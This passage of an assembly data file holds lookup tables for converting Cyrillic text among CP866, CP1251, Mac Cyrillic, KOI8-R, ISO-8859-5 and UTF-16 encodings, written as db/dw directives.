db 0a0h, 0beh, 0cdh, 0bah, 0d5h, 0f1h, 0d6h, 0c9h, 0b8h, 0b7h, 0bbh, 0d4h, 0d3h, 0c8h, 0beh, 0bdh, 0bch, 0c6h, 0c7h, 0cch, 0b5h, 0f0h, 0b6h, 0b9h, 0d1h, 0d2h, 0cbh, 0cfh, 0d0h, 0cah, 0d8h, 0d7h, 0ceh
db 0c0h, 0ffh, 0eeh, 0a0h, 0a1h, 0e6h, 0a4h, 0a5h, 0e4h, 0a3h, 0e5h, 0a8h, 0a9h, 0aah, 0abh, 0ach, 0adh, 0aeh, 0afh, 0efh, 0e0h, 0e1h, 0e2h, 0e3h, 0a6h, 0a2h, 0ech, 0ebh, 0a7h, 0e8h, 0edh, 0e9h, 0e7h, 0eah, 09eh, 080h, 081h, 096h, 084h, 085h, 094h, 083h, 095h, 088h, 089h, 08ah, 08bh, 08ch, 08dh, 08eh, 08fh, 09fh, 090h, 091h, 092h, 093h, 086h, 082h, 09ch, 09bh, 087h, 098h, 09dh, 099h, 097h, 09ah
;3->1
Koi8r_Cp1251_tbl:
db 6h
db 09ah, 09ah, 0a0h
db 09ch, 09ch, 0b0h
db 09eh, 09eh, 0b7h
db 0a3h, 0a3h, 0b8h
db 0b3h, 0b3h, 0a8h
db 0bfh, 0ffh, 0a9h, 0feh, 0e0h, 0e1h, 0f6h, 0e4h, 0e5h, 0f4h, 0e3h, 0f5h, 0e8h, 0e9h, 0eah, 0ebh, 0ech, 0edh, 0eeh, 0efh, 0ffh, 0f0h, 0f1h, 0f2h, 0f3h, 0e6h, 0e2h, 0fch, 0fbh, 0e7h, 0f8h, 0fdh, 0f9h, 0f7h, 0fah, 0deh, 0c0h, 0c1h, 0d6h, 0c4h, 0c5h, 0d4h, 0c3h, 0d5h, 0c8h, 0c9h, 0cah, 0cbh, 0cch, 0cdh, 0ceh, 0cfh, 0dfh, 0d0h, 0d1h, 0d2h, 0d3h, 0c6h, 0c2h, 0dch, 0dbh, 0c7h, 0d8h, 0ddh, 0d9h, 0d7h, 0dah
;3->2
Koi8r_Cp10007_tbl:
db 6h
db 096h, 09ah, 0c3h, 0c5h, 0b2h, 0b3h, 0cah
db 09ch, 09ch, 0a1h
db 09fh, 09fh, 0d6h
db 0a3h, 0a3h, 0deh
db 0b3h, 0b3h, 0ddh
db 0bfh, 0ffh, 0a9h, 0feh, 0e0h, 0e1h, 0f6h, 0e4h, 0e5h, 0f4h, 0e3h, 0f5h, 0e8h, 0e9h, 0eah, 0ebh, 0ech, 0edh, 0eeh, 0efh, 0dfh, 0f0h, 0f1h, 0f2h, 0f3h, 0e6h, 0e2h, 0fch, 0fbh, 0e7h, 0f8h, 0fdh, 0f9h, 0f7h, 0fah, 09eh, 080h, 081h, 096h, 084h, 085h, 094h, 083h, 095h, 088h, 089h, 08ah, 08bh, 08ch, 08dh, 08eh, 08fh, 09fh, 090h, 091h, 092h, 093h, 086h, 082h, 09ch, 09bh, 087h, 098h, 09dh, 099h, 097h, 09ah
;3->4
Koi8r_Mac_tbl:
db 6h
db 096h, 09ah, 0c3h, 0c5h, 0b2h, 0b3h, 0cah
db 09ch, 09ch, 0a1h
db 09fh, 09fh, 0d6h
db 0a3h, 0a3h, 0deh
db 0b3h, 0b3h, 0ddh
db 0bfh, 0ffh, 0a9h, 0feh, 0e0h, 0e1h, 0f6h, 0e4h, 0e5h, 0f4h, 0e3h, 0f5h, 0e8h, 0e9h, 0eah, 0ebh, 0ech, 0edh, 0eeh, 0efh, 0dfh, 0f0h, 0f1h, 0f2h, 0f3h, 0e6h, 0e2h, 0fch, 0fbh, 0e7h, 0f8h, 0fdh, 0f9h, 0f7h, 0fah, 09eh, 080h, 081h, 096h, 084h, 085h, 094h, 083h, 095h, 088h, 089h, 08ah, 08bh, 08ch, 08dh, 08eh, 08fh, 09fh, 090h, 091h, 092h, 093h, 086h, 082h, 09ch, 09bh, 087h, 098h, 09dh, 099h, 097h, 09ah
;3->5
Koi8r_Cp8859_5_tbl:
db 5h
db 09ah, 09ah, 0a0h
db 0a3h, 0a3h, 0f1h
db 0b3h, 0b3h, 0a1h
db 0c0h, 0d5h, 0eeh, 0d0h, 0d1h, 0e6h, 0d4h, 0d5h, 0e4h, 0d3h, 0e5h, 0d8h, 0d9h, 0dah, 0dbh, 0dch, 0ddh, 0deh, 0dfh, 0efh, 0e0h, 0e1h, 0e2h, 0e3h
db 0d7h, 0ffh, 0d2h, 0ech, 0ebh, 0d7h, 0e8h, 0edh, 0e9h, 0e7h, 0eah, 0ceh, 0b0h, 0b1h, 0c6h, 0b4h, 0b5h, 0c4h, 0b3h, 0c5h, 0b8h, 0b9h, 0bah, 0bbh, 0bch, 0bdh, 0beh, 0bfh, 0cfh, 0c0h, 0c1h, 0c2h, 0c3h, 0b6h, 0b2h, 0cch, 0cbh, 0b7h, 0c8h, 0cdh, 0c9h, 0c7h, 0cah
;4->0
Mac_Cp866_tbl:
db 6h
db 0a1h, 0a1h, 0f8h
db 0b8h, 0bbh, 0f2h, 0f3h, 0f4h, 0f5h
db 0c3h, 0c3h, 0fbh
db 0cah, 0cah, 0ffh
db 0d8h, 0d9h, 0f6h, 0f7h
db 0dch, 0feh, 0fch, 0f0h, 0f1h, 0efh, 0a0h, 0a1h, 0a2h, 0a3h, 0a4h, 0a5h, 0a6h, 0a7h, 0a8h, 0a9h, 0aah, 0abh, 0ach, 0adh, 0aeh, 0afh, 0e0h, 0e1h, 0e2h, 0e3h, 0e4h, 0e5h, 0e6h, 0e7h, 0e8h, 0e9h, 0eah, 0ebh, 0ech, 0edh, 0eeh
;4->1
Mac_Cp1251_tbl:
db 9h
db 080h, 0a2h, 0c0h, 0c1h, 0c2h, 0c3h, 0c4h, 0c5h, 0c6h, 0c7h, 0c8h, 0c9h, 0cah, 0cbh, 0cch, 0cdh, 0ceh, 0cfh, 0d0h, 0d1h, 0d2h, 0d3h, 0d4h, 0d5h, 0d6h, 0d7h, 0d8h, 0d9h, 0dah, 0dbh, 0dch, 0ddh, 0deh, 0dfh, 086h, 0b0h, 0a5h
db 0a4h, 0a8h, 0a7h, 095h, 0b6h, 0b2h, 0aeh
db 0aah, 0ach, 099h, 080h, 090h
db 0aeh, 0afh, 081h, 083h
db 0b4h, 0b4h, 0b3h
db 0b6h, 0c2h, 0b4h, 0a3h, 0aah, 0bah, 0afh, 0bfh, 08ah, 09ah, 08ch, 09ch, 0bch, 0bdh, 0ach
db 0c7h, 0d5h, 0abh, 0bbh, 085h, 0a0h, 08eh, 09eh, 08dh, 09dh, 0beh, 096h, 098h, 093h, 094h, 091h, 092h
db 0d7h, 0dfh, 084h, 0a1h, 0a2h, 08fh, 09fh, 0b9h, 0a8h, 0b8h, 0ffh
db 0ffh, 0ffh, 088h
;5->0
Cp8859_5_Cp866_tbl:
db 9h
db 0a0h, 0a1h, 0ffh, 0f0h
db 0a4h, 0a4h, 0f2h
db 0a7h, 0a7h, 0f4h
db 0aeh, 0aeh, 0f6h
db 0b0h, 0dfh, 080h, 081h, 082h, 083h, 084h, 085h, 086h, 087h, 088h, 089h, 08ah, 08bh, 08ch, 08dh, 08eh, 08fh, 090h, 091h, 092h, 093h, 094h, 095h, 096h, 097h, 098h, 099h, 09ah, 09bh, 09ch, 09dh, 09eh, 09fh, 0a0h, 0a1h, 0a2h, 0a3h, 0a4h, 0a5h, 0a6h, 0a7h, 0a8h, 0a9h, 0aah, 0abh, 0ach, 0adh, 0aeh, 0afh
db 0f0h, 0f0h, 0fch
db 0f4h, 0f4h, 0f3h
db 0f7h, 0f7h, 0f5h
db 0feh, 0feh, 0f7h
;5->1
Cp8859_5_Cp1251_tbl:
db 2h
db 0a1h, 0ach, 0a8h, 080h, 081h, 0aah, 0bdh, 0b2h, 0afh, 0a3h, 08ah, 08ch, 08eh, 08dh
db 0aeh, 0ffh, 0a1h, 08fh, 0c0h, 0c1h, 0c2h, 0c3h, 0c4h, 0c5h, 0c6h, 0c7h, 0c8h, 0c9h, 0cah, 0cbh, 0cch, 0cdh, 0ceh, 0cfh, 0d0h, 0d1h, 0d2h, 0d3h, 0d4h, 0d5h, 0d6h, 0d7h, 0d8h, 0d9h, 0dah, 0dbh, 0dch, 0ddh, 0deh, 0dfh, 0e0h, 0e1h, 0e2h, 0e3h, 0e4h, 0e5h, 0e6h, 0e7h, 0e8h, 0e9h, 0eah, 0ebh, 0ech, 0edh, 0eeh, 0efh, 0f0h, 0f1h, 0f2h, 0f3h, 0f4h, 0f5h, 0f6h, 0f7h, 0f8h, 0f9h, 0fah, 0fbh, 0fch, 0fdh, 0feh, 0ffh, 0b9h, 0b8h, 090h, 083h, 0bah, 0beh, 0b3h, 0bfh, 0bch, 09ah, 09ch, 09eh, 09dh, 0a7h, 0a2h, 09fh
;5->2+4
Cp8859_5_Mac_tbl:
db 2h
db 0a0h, 0ach, 0cah, 0ddh, 0abh, 0aeh, 0b8h, 0c1h, 0a7h, 0bah, 0b7h, 0bch, 0beh, 0cbh, 0cdh
db 0aeh, 0ffh, 0d8h, 0dah, 080h, 081h, 082h, 083h, 084h, 085h, 086h, 087h, 088h, 089h, 08ah, 08bh, 08ch, 08dh, 08eh, 08fh, 090h, 091h, 092h, 093h, 094h, 095h, 096h, 097h, 098h, 099h, 09ah, 09bh, 09ch, 09dh, 09eh, 09fh, 0e0h, 0e1h, 0e2h, 0e3h, 0e4h, 0e5h, 0e6h, 0e7h, 0e8h, 0e9h, 0eah, 0ebh, 0ech, 0edh, 0eeh, 0efh, 0f0h, 0f1h, 0f2h, 0f3h, 0f4h, 0f5h, 0f6h, 0f7h, 0f8h, 0f9h, 0fah, 0fbh, 0fch, 0fdh, 0feh, 0dfh, 0dch, 0deh, 0ach, 0afh, 0b9h, 0cfh, 0b4h, 0bbh, 0c0h, 0bdh, 0bfh, 0cch, 0ceh, 0a4h, 0d9h, 0dbh
;5->3
Cp8859_5_Koi8r_tbl:
db 4h
db 0a0h, 0a1h, 09ah, 0b3h
db 0b0h, 0d5h, 0e1h, 0e2h, 0f7h, 0e7h, 0e4h, 0e5h, 0f6h, 0fah, 0e9h, 0eah, 0ebh, 0ech, 0edh, 0eeh, 0efh, 0f0h, 0f2h, 0f3h, 0f4h, 0f5h, 0e6h, 0e8h, 0e3h, 0feh, 0fbh, 0fdh, 0ffh, 0f9h, 0f8h, 0fch, 0e0h, 0f1h, 0c1h, 0c2h, 0d7h, 0c7h, 0c4h, 0c5h
db 0d7h, 0efh, 0dah, 0c9h, 0cah, 0cbh, 0cch, 0cdh, 0ceh, 0cfh, 0d0h, 0d2h, 0d3h, 0d4h, 0d5h, 0c6h, 0c8h, 0c3h, 0deh, 0dbh, 0ddh, 0dfh, 0d9h, 0d8h, 0dch, 0c0h, 0d1h
db 0f1h, 0f1h, 0a3h
;wchar->0
Utf16_Cp866_tbl:
db 01eh
dw 0a0h, 0a0h
db 0ffh
dw 0a4h, 0a4h
db 0fdh
dw 0b0h, 0b0h
db 0f8h
dw 0b7h, 0b7h
db 0fah
dw 0401h, 0401h
db 0f0h
dw 0404h, 0404h
db 0f2h
dw 0407h, 0407h
db 0f4h
dw 040eh, 0451h
db 0f6h, 080h, 081h, 082h, 083h, 084h, 085h, 086h, 087h, 088h, 089h, 08ah, 08bh, 08ch, 08dh, 08eh, 08fh, 090h, 091h, 092h, 093h, 094h, 095h, 096h, 097h, 098h, 099h, 09ah, 09bh, 09ch, 09dh, 09eh, 09fh, 0a0h, 0a1h, 0a2h, 0a3h, 0a4h, 0a5h, 0a6h, 0a7h, 0a8h, 0a9h, 0aah, 0abh, 0ach, 0adh, 0aeh, 0afh, 0e0h, 0e1h, 0e2h, 0e3h, 0e4h, 0e5h, 0e6h, 0e7h, 0e8h, 0e9h, 0eah, 0ebh, 0ech, 0edh, 0eeh, 0efh, 0f1h, 0h, 0h
dw 0454h, 0454h
db 0f3h
dw 0457h, 0457h
db 0f5h
dw 045eh, 045eh
db 0f7h
dw 02116h, 02116h
db 0fch
dw 02219h, 0221ah
db 0f9h, 0fbh
dw 02500h, 02501h
db 0c4h, 0b3h
dw 0250ch, 0250ch
db 0dah
dw 02510h, 02510h
db 0bfh
dw 02514h, 02514h
db 0c0h
dw 02518h, 02518h
db 0d9h
dw 0251ch, 0251ch
db 0c3h
dw 02524h, 02524h
db 0b4h
dw 0252ch, 0252ch
db 0c2h
dw 02534h, 02534h
db 0c1h
dw 0253ch, 0253ch
db 0c5h
dw 02550h, 0256ch
db 0cdh, 0bah, 0d5h, 0d6h, 0c9h, 0b8h, 0b7h, 0bbh, 0d4h, 0d3h, 0c8h, 0beh, 0bdh, 0bch, 0c6h, 0c7h, 0cch, 0b5h, 0b6h, 0b9h, 0d1h, 0d2h, 0cbh, 0cfh, 0d0h, 0cah, 0d8h, 0d7h, 0ceh
dw 02580h, 02580h
db 0dfh
dw 02584h, 02584h
db 0dch
dw 02588h, 02588h
db 0dbh
dw 0258ch, 0258ch
db 0ddh
dw 02590h, 02593h
db 0deh, 0b0h, 0b1h, 0b2h
dw 025a0h, 025a0h
db 0feh
Utf16_Cp1251_tbl:
;wchar->1
db 0ch
dw 00401h, 045fh
db 0a8h, 080h, 081h, 0aah, 0bdh, 0b2h, 0afh, 0a3h, 08ah, 08ch, 08eh, 08dh, 0a1h, 08fh, 0c0h, 0c1h, 0c2h, 0c3h, 0c4h, 0c5h, 0c6h, 0c7h, 0c8h, 0c9h, 0cah, 0cbh, 0cch, 0cdh, 0ceh, 0cfh, 0d0h, 0d1h, 0d2h, 0d3h, 0d4h, 0d5h, 0d6h, 0d7h, 0d8h, 0d9h, 0dah, 0dbh, 0dch, 0ddh, 0deh, 0dfh, 0e0h, 0e1h, 0e2h, 0e3h, 0e4h, 0e5h, 0e6h, 0e7h, 0e8h, 0e9h, 0eah, 0ebh, 0ech, 0edh, 0eeh, 0efh, 0f0h, 0f1h, 0f2h, 0f3h, 0f4h, 0f5h, 0f6h, 0f7h, 0f8h, 0f9h, 0fah, 0fbh, 0fch, 0fdh, 0feh, 0ffh, 0b8h, 090h, 083h, 0bah, 0beh, 0b3h, 0bfh, 0bch, 09ah, 09ch, 09eh, 09dh, 0a2h, 09fh, 0h, 0h, 0h
dw 0490h, 0491h
db 0a5h, 0b4h
dw 02013h, 02014h
db 096h, 098h
dw 02018h, 0201ah
db 091h, 092h, 082h
dw 0201ch, 0201eh
db 093h, 094h, 084h
dw 02020h, 02022h
db 086h, 087h, 095h
dw 02026h, 02026h
db 085h
dw 02030h, 02030h
db 089h
dw 02039h, 0203ah
db 08bh, 09bh
dw 020ach, 020ach
db 088h
dw 02116h, 02116h
db 0b9h
dw 02122h, 02122h
db 099h
;wchar->2
Utf16_Cp10007_tbl:
db 019h
dw 0a0h, 0a0h
db 0cah
dw 0a4h, 0a4h
db 0ffh
dw 0a7h, 0a7h
db 0a4h
dw 0abh, 0ach
db 0c7h, 0c2h
dw 0aeh, 0b0h
db 0a8h, 0a1h, 084h
dw 0b6h, 0b6h
db 0a6h
dw 0bbh, 0bbh
db 0c8h
dw 0f7h, 0f7h
db 0d6h
dw 0192h, 0192h
db 0c4h
dw 0401h, 045fh
db 0ddh, 0abh, 0aeh, 0b8h, 0c1h, 0a7h, 0bah, 0b7h, 0bch, 0beh, 0cbh, 0cdh, 0d8h, 0dah, 080h, 081h, 082h, 083h, 084h, 085h, 086h, 087h, 088h, 089h, 08ah, 08bh, 08ch, 08dh, 08eh, 08fh, 090h, 091h, 092h, 093h, 094h, 095h, 096h, 097h, 098h, 099h, 09ah, 09bh, 09ch, 09dh, 09eh, 09fh, 0e0h, 0e1h, 0e2h, 0e3h, 0e4h, 0e5h, 0e6h, 0e7h, 0e8h, 0e9h, 0eah, 0ebh, 0ech, 0edh, 0eeh, 0efh, 0f0h, 0f1h, 0f2h, 0f3h, 0f4h, 0f5h, 0f6h, 0f7h, 0f8h, 0f9h, 0fah, 0fbh, 0fch, 0fdh, 0feh, 0dfh, 0deh, 0ach, 0afh, 0b9h, 0cfh, 0b4h, 0bbh, 0c0h, 0bdh, 0bfh, 0cch, 0ceh, 0d9h, 0dbh, 0h, 0h, 0h
dw 02013h, 02014h
db 0d0h, 0d1h
dw 02018h, 02019h
db 0d4h, 0d5h
dw 0201ch, 0201eh
db 0d2h, 0d3h, 0d7h
dw 02020h, 02020h
db 0a0h
dw 02022h, 02022h
db 0a5h
dw 02026h, 02026h
db 0c9h
dw 02116h, 02116h
db 0dch
dw 02122h, 02122h
db 0aah
dw 02202h, 02202h
db 0b6h
dw 02206h, 02206h
db 0c6h
dw 0221ah, 0221ah
db 0c3h
dw 0221eh, 0221eh
db 0b0h
dw 02248h, 02248h
db 0c5h
dw 02260h, 02260h
db 0adh
dw 02264h, 02265h
db 0b2h, 0b3h
;wchar->3
Utf16_Koi8r_tbl:
db 01dh
dw 0a0h, 0a0h
db 09ah
dw 0a9h, 0a9h
db 0bfh
dw 0b0h, 0b0h
db 09ch
dw 0b2h, 0b2h
db 09dh
dw 0b7h, 0b7h
db 09eh
dw 0f7h, 0f7h
db 09fh
dw 0401h, 0401h
db 0b3h
dw 0410h, 0451h
db 0e1h, 0e2h, 0f7h, 0e7h, 0e4h, 0e5h, 0f6h, 0fah, 0e9h, 0eah, 0ebh, 0ech, 0edh, 0eeh, 0efh, 0f0h, 0f2h, 0f3h, 0f4h, 0f5h, 0e6h, 0e8h, 0e3h, 0feh, 0fbh, 0fdh, 0ffh, 0f9h, 0f8h, 0fch, 0e0h, 0f1h, 0c1h, 0c2h, 0d7h, 0c7h, 0c4h, 0c5h, 0d6h, 0dah, 0c9h, 0cah, 0cbh, 0cch, 0cdh, 0ceh, 0cfh, 0d0h, 0d2h, 0d3h, 0d4h, 0d5h, 0c6h, 0c8h, 0c3h, 0deh, 0dbh, 0ddh, 0dfh, 0d9h, 0d8h, 0dch, 0c0h, 0d1h, 0a3h, 0f1h
dw 02219h, 0221ah
db 095h, 096h
dw 02248h, 02248h
db 097h
dw 02264h, 02265h
db 098h, 099h
dw 02320h, 02321h
db 093h, 09bh
dw 02500h, 02502h
db 080h, 081h, 0d7h
dw 0250ch, 0250ch
db 082h
dw 02510h, 02510h
db 083h
dw 02514h, 02514h
db 084h
dw 02518h, 02518h
db 085h
dw 0251ch, 0251ch
db 086h
dw 02524h, 02524h
db 087h
dw 0252ch, 0252ch
db 088h
dw 02534h, 02534h
db 089h
dw 0253ch, 0253ch
db 08ah
dw 02550h, 0256ch
db 0a0h, 0a1h, 0a2h, 0a4h, 0a5h, 0a6h, 0a7h, 0a8h, 0a9h, 0aah, 0abh, 0ach, 0adh, 0aeh, 0afh, 0b0h, 0b1h, 0b2h, 0b4h, 0b5h, 0b6h, 0b7h, 0b8h, 0b9h, 0bah, 0bbh, 0bch, 0bdh, 0beh
dw 02580h, 02580h
db 08bh
dw 02584h, 02584h
db 08ch
dw 02588h, 02588h
db 08dh
dw 0258ch, 0258ch
db 08eh
dw 02590h, 02593h
db 08fh, 090h, 091h, 092h
dw 025a0h, 025a0h
db 094h
;wchar->4
Utf16_Mac_tbl:
db 019h
dw 0a0h, 0a0h
db 0cah
db 0a7h, 0a7h
dw 0a4h
dw 0abh, 0ach
db 0c7h, 0c2h
dw 0aeh, 0b0h
db 0a8h, 0a1h, 082h
dw 0b6h, 0b6h
db 0a6h
dw 0bbh, 0bbh
db 0c8h
dw 0f7h, 0f7h
db 0d6h
dw 0192h, 0192h
db 0c4h
dw 0401h, 045fh
db 0ddh, 0abh, 0aeh, 0b8h, 0c1h, 0a7h, 0bah, 0b7h, 0bch, 0beh, 0cbh, 0cdh, 0d8h, 0dah, 080h, 081h, 082h, 083h, 084h, 085h, 086h, 087h, 088h, 089h, 08ah, 08bh, 08ch, 08dh, 08eh, 08fh, 090h, 091h, 092h, 093h, 094h, 095h, 096h, 097h, 098h, 099h, 09ah, 09bh, 09ch, 09dh, 09eh, 09fh, 0e0h, 0e1h, 0e2h, 0e3h, 0e4h, 0e5h, 0e6h, 0e7h, 0e8h, 0e9h, 0eah, 0ebh, 0ech, 0edh, 0eeh, 0efh, 0f0h, 0f1h, 0f2h, 0f3h, 0f4h, 0f5h, 0f6h, 0f7h, 0f8h, 0f9h, 0fah, 0fbh, 0fch, 0fdh, 0feh, 0dfh, 0deh, 0ach, 0afh, 0b9h, 0cfh, 0b4h, 0bbh, 0c0h, 0bdh, 0bfh, 0cch, 0ceh, 0d9h, 0dbh, 0h, 0h, 0h
dw 0490h, 0491h
db 0a2h, 0b6h
dw 02013h, 02014h
db 0d0h, 0d1h
dw 02018h, 02019h
db 0d4h, 0d5h
dw 0201ch, 0201eh
db 0d2h, 0d3h, 0d7h
dw 02020h, 02020h
db 0a0h
dw 02022h, 02022h
db 0a5h
dw 02026h, 02026h
db 0c9h
dw 020ach, 020ach
db 0ffh
dw 02116h, 02116h
db 0dch
dw 02122h, 02122h
db 0aah
dw 02206h, 02206h
db 0c6h
dw 0221ah, 0221ah
db 0c3h
dw 0221eh, 0221eh
db 0b0h
dw 02248h, 02248h
db 0c5h
dw 02260h, 02260h
db 0adh
dw 02264h, 02265h
db 0b2h, 0b3h
;wchar->5
Utf16_Cp8859_5_tbl:
db 3h
dw 0a7h, 0a7h
db 0fdh
dw 0401h, 045fh
db 0a1h, 0a2h, 0a3h, 0a4h, 0a5h, 0a6h, 0a7h, 0a8h, 0a9h, 0aah, 0abh, 0ach, 0aeh, 0afh, 0b0h, 0b1h, 0b2h, 0b3h, 0b4h, 0b5h, 0b6h, 0b7h, 0b8h, 0b9h, 0bah, 0bbh, 0bch, 0bdh, 0beh, 0bfh, 0c0h, 0c1h, 0c2h, 0c3h, 0c4h, 0c5h, 0c6h, 0c7h, 0c8h, 0c9h, 0cah, 0cbh, 0cch, 0cdh, 0ceh, 0cfh, 0d0h, 0d1h, 0d2h, 0d3h, 0d4h, 0d5h, 0d6h, 0d7h, 0d8h, 0d9h, 0dah, 0dbh, 0dch, 0ddh, 0deh, 0dfh, 0e0h, 0e1h, 0e2h, 0e3h, 0e4h, 0e5h, 0e6h, 0e7h, 0e8h, 0e9h, 0eah, 0ebh, 0ech, 0edh, 0eeh, 0efh, 0f1h, 0f2h, 0f3h, 0f4h, 0f5h, 0f6h, 0f7h, 0f8h, 0f9h, 0fah, 0fbh, 0fch, 0feh, 0ffh, 0h, 0h, 0h
dw 02116h, 02116h
db 0f0h
;0->wchar
Cp866_Utf16_tbl:
db 1h
db 080h, 0ffh
dw 0410h, 0411h, 0412h, 0413h, 0414h, 0415h, 0416h, 0417h, 0418h, 0419h, 041ah, 041bh, 041ch, 041dh, 041eh, 041fh, 0420h, 0421h, 0422h, 0423h, 0424h, 0425h, 0426h, 0427h, 0428h, 0429h, 042ah, 042bh, 042ch, 042dh, 042eh, 042fh, 0430h, 0431h, 0432h, 0433h, 0434h, 0435h, 0436h, 0437h, 0438h, 0439h, 043ah, 043bh, 043ch, 043dh, 043eh, 043fh, 02591h, 02592h, 02593h, 02502h, 02524h, 02561h, 02562h, 02556h, 02555h, 02563h, 02551h, 02557h, 0255dh, 0255ch, 0255bh, 02510h, 02514h, 02534h, 0252ch, 0251ch, 02500h, 0253ch, 0255eh, 0255fh, 0255ah, 02554h, 02569h, 02566h, 02560h, 02550h, 0256ch, 02567h, 02568h, 02564h, 02565h, 02559h, 02558h, 02552h, 02553h, 0256bh, 0256ah, 02518h, 0250ch, 02588h, 02584h, 0258ch, 02590h, 02580h, 0440h, 0441h, 0442h, 0443h, 0444h, 0445h, 0446h, 0447h, 0448h, 0449h, 044ah, 044bh, 044ch, 044dh, 044eh, 044fh, 0401h, 0451h, 0404h, 0454h, 0407h, 0457h, 040eh, 045eh, 0b0h, 02219h, 0b7h, 0221ah, 02116h, 0a4h, 025a0h, 0a0h
;1->wchar
Cp1251_Utf16_tbl:
db 0ah
db 080h, 096h
dw 0402h, 0403h, 0201ah, 0453h, 0201eh, 02026h, 02020h, 02021h, 020ach, 02030h, 0409h, 02039h, 040ah, 040ch, 040bh, 040fh, 0452h, 02018h, 02019h, 0201ch, 0201dh, 02022h, 02013h
db 098h, 09fh
dw 02014h, 02122h, 0459h, 0203ah, 045ah, 045ch, 045bh, 045fh
db 0a1h, 0a3h
dw 040eh, 045eh, 0408h
db 0a5h, 0a5h
dw 0490h
db 0a8h, 0a8h
dw 0401h
db 0aah, 0aah
dw 0404h
db 0afh, 0afh
dw 0407h
db 0b2h, 0b4h
dw 0406h, 0456h, 0491h
db 0b8h, 0bah
dw 0451h, 02116h, 0454h
dw 0bch, 0ffh, 0458h, 0405h, 0455h, 0457h, 0410h, 0411h, 0412h, 0413h, 0414h, 0415h, 0416h, 0417h, 0418h, 0419h, 041ah, 041bh, 041ch, 041dh, 041eh, 041fh, 0420h, 0421h, 0422h, 0423h, 0424h, 0425h, 0426h, 0427h, 0428h, 0429h, 042ah, 042bh, 042ch, 042dh, 042eh, 042fh, 0430h, 0431h, 0432h, 0433h, 0434h, 0435h, 0436h, 0437h, 0438h, 0439h, 043ah, 043bh, 043ch, 043dh, 043eh, 043fh, 0440h, 0441h, 0442h, 0443h, 0444h, 0445h, 0446h, 0447h, 0448h, 0449h, 044ah, 044bh, 044ch, 044dh, 044eh, 044fh
;2->wchar
Cp10007_Utf16_tbl:
db 5h
db 080h, 0a1h
dw 0410h, 0411h, 0412h, 0413h, 0414h, 0415h, 0416h, 0417h, 0418h, 0419h, 041ah, 041bh, 041ch, 041dh, 041eh, 041fh, 0420h, 0421h, 0422h, 0423h, 0424h, 0425h, 0426h, 0427h, 0428h, 0429h, 042ah, 042bh, 042ch, 042dh, 042eh, 042fh, 02020h, 0b0h
db 0a4h, 0a8h
dw 0a7h, 02022h, 0b6h, 0406h, 0aeh
db 0aah, 0b0h
dw 02122h, 0402h, 0452h, 02260h, 0403h, 0453h, 0221eh
db 0b2h, 0b4h
dw 02264h, 02265h, 0456h
db 0b6h, 0ffh
dw 02202h, 0408h, 0404h, 0454h, 0407h, 0457h, 0409h, 0459h, 040ah, 045ah, 0458h, 0405h, 0ach, 0221ah, 0192h, 02248h, 02206h, 0abh, 0bbh, 02026h, 0a0h, 040bh, 045bh, 040ch, 045ch, 0455h, 02013h, 02014h, 0201ch, 0201dh, 02018h, 02019h, 0f7h, 0201eh, 040eh, 045eh, 040fh, 045fh, 02116h, 0401h, 0451h, 044fh, 0430h, 0431h, 0432h, 0433h, 0434h, 0435h, 0436h, 0437h, 0438h, 0439h, 043ah, 043bh, 043ch, 043dh, 043eh, 043fh, 0440h, 0441h, 0442h, 0443h, 0444h, 0445h, 0446h, 0447h, 0448h, 0449h, 044ah, 044bh, 044ch, 044dh, 044eh, 0a4h
;3->wchar
Koi8r_Utf16_tbl:
db 1h
db 080h, 0ffh
dw 02500h, 02502h, 0250ch, 02510h, 02514h, 02518h, 0251ch, 02524h, 0252ch, 02534h, 0253ch, 02580h, 02584h, 02588h, 0258ch, 02590h, 02591h, 02592h, 02593h, 02320h, 025a0h, 02219h, 0221ah, 02248h, 02264h, 02265h, 0a0h, 02321h, 0b0h, 0b2h, 0b7h, 0f7h, 02550h, 02551h, 02552h, 0451h, 02553h, 02554h, 02555h, 02556h, 02557h, 02558h, 02559h, 0255ah, 0255bh, 0255ch, 0255dh, 0255eh, 0255fh, 02560h, 02561h, 0401h, 02562h, 02563h, 02564h, 02565h, 02566h, 02567h, 02568h, 02569h, 0256ah, 0256bh, 0256ch, 0a9h, 044eh, 0430h, 0431h, 0446h, 0434h, 0435h, 0444h, 0433h, 0445h, 0438h, 0439h, 043ah, 043bh, 043ch, 043dh, 043eh, 043fh, 044fh, 0440h, 0441h, 0442h, 0443h, 0436h, 0432h, 044ch, 044bh, 0437h, 0448h, 044dh, 0449h, 0447h, 044ah, 042eh, 0410h, 0411h, 0426h, 0414h, 0415h, 0424h, 0413h, 0425h, 0418h, 0419h, 041ah, 041bh, 041ch, 041dh, 041eh, 041fh, 042fh, 0420h, 0421h, 0422h, 0423h, 0416h, 0412h, 042ch, 042bh, 0417h, 0428h, 042dh, 0429h, 0427h, 042ah
;4->wchar
Mac_Utf16_tbl:
db 5h
db 080h, 0a2h
dw 0410h, 0411h, 0412h, 0413h, 0414h, 0415h, 0416h, 0417h, 0418h, 0419h, 041ah, 041bh, 041ch, 041dh, 041eh, 041fh, 0420h, 0421h, 0422h, 0423h, 0424h, 0425h, 0426h, 0427h, 0428h, 0429h, 042ah, 042bh, 042ch, 042dh, 042eh, 042fh, 02020h, 0b0h, 0490h
db 0a4h, 0a8h
dw 0a7h, 02022h, 0b6h, 0406h, 0aeh
db 0aah, 0b0h
dw 02122h, 0402h, 0452h, 02260h, 0403h, 0453h, 0221eh
db 0b2h, 0b4h
dw 02264h, 02265h, 0456h
db 0b6h, 0ffh
dw 0491h, 0408h, 0404h, 0454h, 0407h, 0457h, 0409h, 0459h, 040ah, 045ah, 0458h, 0405h, 0ach, 0221ah, 0192h, 02248h, 02206h, 0abh, 0bbh, 02026h, 0a0h, 040bh, 045bh, 040ch, 045ch, 0455h, 02013h, 02014h, 0201ch, 0201dh, 02018h, 02019h, 0f7h, 0201eh, 040eh, 045eh, 040fh, 045fh, 02116h, 0401h, 0451h, 044fh, 0430h, 0431h, 0432h, 0433h, 0434h, 0435h, 0436h, 0437h, 0438h, 0439h, 043ah, 043bh, 043ch, 043dh, 043eh, 043fh, 0440h, 0441h, 0442h, 0443h, 0444h, 0445h, 0446h, 0447h, 0448h, 0449h, 044ah, 044bh, 044ch, 044dh, 044eh, 020ach
;5->wchar
Cp8859_5_Utf16_tbl:
db 2h
db 0a1h, 0ach
dw 0401h, 0402h, 0403h, 0404h, 0405h, 0406h, 0407h, 0408h, 0409h, 040ah, 040bh, 040ch
db 0aeh, 0ffh
